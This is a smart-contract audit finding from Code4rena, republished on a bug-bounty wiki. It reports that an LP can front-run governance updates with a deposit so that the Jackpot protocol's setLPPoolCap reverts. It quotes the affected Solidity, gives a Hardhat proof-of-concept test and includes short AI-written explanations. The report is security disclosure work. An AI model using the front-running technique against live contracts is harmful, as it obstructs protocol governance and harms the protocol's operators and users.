Deliberately increasing liquidity can DoS updates to the protocol’s governance parameters.
The setLPPoolCap function reverts if the current LP pool plus pending deposits exceeds the new cap, so an LP can deposit enough to block governance parameter updates that would lower the cap. This allows LPs to delay such updates until the next drawing.
BengalCatBalu Follow with 0xweb3boy, h2134 and 7 others
Originally disclosed on Code4rena
Submitted by BengalCatBalu, also found by 0xweb3boy, h2134, itsjust0xsp, KuwaTakushi, mightyraj2605, newspacexyz, odeili, sl1, and Wolf_Kalp
Finding description and impact
The JackpotLPManager::setLPPoolCap function sets the lpPoolCap for LPs.
However, if the current lpPool + pendingDeposits exceeds the desired new cap, the transaction reverts.
It is trivial for LPs to increase lpPool + pendingDeposits simply by making deposits, effectively blocking the cap update.
function processDeposit(uint256 _drawingId, address _lpAddress, uint256 _amount) external onlyJackpot() {
// Note: this check also prevents users from depositing before initializeLPDeposits() is called since the pool cap will be 0
// We will exclude pending withdrawals since the amount withdrawn is dependent on the post-drawing LP value. This makes this
// check more conservative.
uint256 totalPoolValue = lpDrawingState[_drawingId].lpPoolTotal + lpDrawingState[_drawingId].pendingDeposits;
if (_amount + totalPoolValue > lpPoolCap) revert JackpotErrors.ExceedsPoolCap();
LP storage lp = lpInfo[_lpAddress];
_consolidateDeposits(lp, _drawingId);
lp.lastDeposit.amount += _amount;
lp.lastDeposit.drawingId = _drawingId;
lpDrawingState[_drawingId].pendingDeposits += _amount;
emit LpDeposited(_lpAddress, _drawingId, _amount, lpDrawingState[_drawingId].pendingDeposits);
}
function setLPPoolCap(uint256 _drawingId, uint256 _lpPoolCap) external onlyJackpot() {
LPDrawingState storage currentLP = lpDrawingState[_drawingId];
if (_lpPoolCap < currentLP.lpPoolTotal + currentLP.pendingDeposits) revert InvalidLPPoolCap();
lpPoolCap = _lpPoolCap;
}
The call to setLPPoolCap is triggered when updating governance parameters in the Jackpot contract.
function setNormalBallMax(uint8 _normalBallMax) external onlyOwner {
// Note: we do not need to check if _normalBallMax is greater than 255 because it is enforced by uint8 type
uint8 oldNormalBallMax = normalBallMax;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(_normalBallMax));
normalBallMax = _normalBallMax;
emit NormalBallMaxUpdated(currentDrawingId, oldNormalBallMax, _normalBallMax);
}
function setGovernancePoolCap(uint256 _governancePoolCap) external onlyOwner {
if (_governancePoolCap == 0) revert JackpotErrors.InvalidGovernancePoolCap();
uint256 oldGovernancePoolCap = governancePoolCap;
governancePoolCap = _governancePoolCap;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit GovernancePoolCapUpdated(currentDrawingId, oldGovernancePoolCap, _governancePoolCap);
}
function setLpEdgeTarget(uint256 _lpEdgeTarget) external onlyOwner {
if (_lpEdgeTarget == 0 || _lpEdgeTarget >= PRECISE_UNIT) revert JackpotErrors.InvalidLpEdgeTarget();
uint256 oldLpEdgeTarget = lpEdgeTarget;
lpEdgeTarget = _lpEdgeTarget;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit LpEdgeTargetUpdated(currentDrawingId, oldLpEdgeTarget, _lpEdgeTarget);
}
function setReserveRatio(uint256 _reserveRatio) external onlyOwner {
if (_reserveRatio >= PRECISE_UNIT) revert JackpotErrors.InvalidReserveRatio();
uint256 oldReserveRatio = reserveRatio;
reserveRatio = _reserveRatio;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit ReserveRatioUpdated(currentDrawingId, oldReserveRatio, _reserveRatio);
}
function setTicketPrice(uint256 _ticketPrice) external onlyOwner {
if (_ticketPrice == 0) revert JackpotErrors.InvalidTicketPrice();
uint256 oldTicketPrice = ticketPrice;
ticketPrice = _ticketPrice;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit TicketPriceUpdated(currentDrawingId, oldTicketPrice, _ticketPrice);
}
function _calculateLpPoolCap(uint256 _normalBallMax) internal view returns (uint256) {
// We use MAX_BIT_VECTOR_SIZE because that's the max number that can be packed in a uint256 bit vector
uint256 maxAllowableTickets = Combinations.choose(_normalBallMax, NORMAL_BALL_COUNT) * (MAX_BIT_VECTOR_SIZE - _normalBallMax);
uint256 maxPrizePool = maxAllowableTickets * ticketPrice * (PRECISE_UNIT - lpEdgeTarget) / PRECISE_UNIT;
// We need to make sure that the lpPoolCap is not greater than the governance pool cap
return Math.min(maxPrizePool * PRECISE_UNIT / (PRECISE_UNIT - reserveRatio), governancePoolCap);
}
From the formula in _calculateLpPoolCap, it is clear which parameter changes reduce lpPoolCap:
- Decreasing
governancePoolCap - Decreasing
reserveRatio - Decreasing
ticketPrice - Increasing
normalBallMax - Decreasing
lpEdgeTarget
Each of these changes can be disadvantageous to LPs for various reasons. The most obvious examples:
- Lowering
ticketPricereduces LP earnings per ticket. - Lowering
lpEdgeTargetreduces the guaranteed LP share from each drawing.
Therefore, LP providers have a clear incentive to DoS governance parameter updates that would reduce lpPoolCap.
To DoS such parameter changes, an LP only needs to frontrun the governance update with a deposit transaction.
The deposit must be large enough so that the new lpPoolTotal exceeds the value allowed by the updated parameters.
In that case, the update cannot take effect in the current drawing and will be postponed to the next one.
Practically, this means that after a successful DoS, the governance changes can only be applied after two drawings, not the current one.
It is also important to note that this attack introduces no additional risk to the LP provider. They are simply depositing liquidity as usual, which means their risk exposure remains exactly the same as before.
Given that this is an easy DoS of the governance functionality for an undefined period of time, medium severity is appropriate.
Recommended mitigation steps
Make governance parameter updates less dependent on LP behavior.
Expand for detailed Proof of Concept
Proof of Concept
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO, ONE_DAY_IN_SECONDS } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let user: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
const drawingDurationInSeconds: bigint = ONE_DAY_IN_SECONDS;
const entropyFee: bigint = ether(0.00005);
const entropyBaseGasLimit: bigint = BigInt(1000000);
const entropyVariableGasLimit: bigint = BigInt(250000);
beforeEach(async () => {
[
owner,
user,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000)); // initial cap is 10,000,000
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(9000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(9000000)); // initial deposit is 9,000,000
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("POC", async () => {
let subjectRandomNumbers: bigint[][];
let subjectCaller: Account;
let isJackpotRun: boolean = true;
beforeEach(async () => {
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(200002));
await usdcMock.connect(buyerOne.wallet).approve(jackpot.getAddress(), usdc(1));
await jackpot.connect(buyerOne.wallet).buyTickets(
[
{
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(6)
} as Ticket,
],
buyerOne.address,
[],
[],
ethers.encodeBytes32String("test")
);
if (isJackpotRun) {
await time.increase(drawingDurationInSeconds);
const drawingState = await jackpot.getDrawingState(1);
await jackpot.runJackpot({ value: entropyFee + ((entropyBaseGasLimit + entropyVariableGasLimit * drawingState.bonusballMax) * BigInt(1e10)) });
}
subjectRandomNumbers = [[BigInt(1), BigInt(7), BigInt(8), BigInt(9), BigInt(10)], [BigInt(11)]]; // just one match => tier 2
subjectCaller = buyerOne;
});
async function subject(): Promise<any> {
return await entropyProvider.connect(subjectCaller.wallet).randomnessCallback(subjectRandomNumbers);
}
it("POC", async () => {
await subject();
const expectedTicketIdOne = calculateTicketId(1, 1, calculatePackedTicket({
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(6)
} as Ticket, BigInt(30)));
const currentDrawingId = await jackpot.currentDrawingId();
const lpDrawingState = await jackpotLPManager.getLPDrawingState(currentDrawingId);
console.log("Current pool total:", lpDrawingState.lpPoolTotal.toString()); // current lp pool total is around ~9,000,000
// "Front-run": LP deposits 200,001 USDC before cap decrease
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(200001));
await usdcMock.connect(buyerOne.wallet).approve(jackpot.getAddress(), usdc(200001));
await jackpot.connect(buyerOne.wallet).lpDeposit(
usdc(200001)
);
// Expect revert on cap decrease due to outstanding LP pool above new cap
await expect(
jackpot.connect(owner.wallet).setGovernancePoolCap(usdc(9200000))
).to.be.reverted;
});
});
});
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the cap update function checks the current pool size against the new cap and reverts if exceeded, without allowing the cap to be set lower than the current pool.
Impact
Governance parameter updates that would reduce the LP pool cap can be delayed until the next drawing, potentially for an undefined period if repeatedly front-run.
What the attacker needed
LP has enough funds to deposit; LP can front-run governance transaction
The fix
Make governance parameter updates less dependent on LP behavior, for example by allowing the cap to be set lower than the current pool or by using a different mechanism.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract lets people add money to a pool. The owner can change rules that affect the pool's maximum size. But if the pool already has more money than the new maximum, the rule change fails. An attacker can add money just before the owner tries to change the rules, causing the change to fail.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.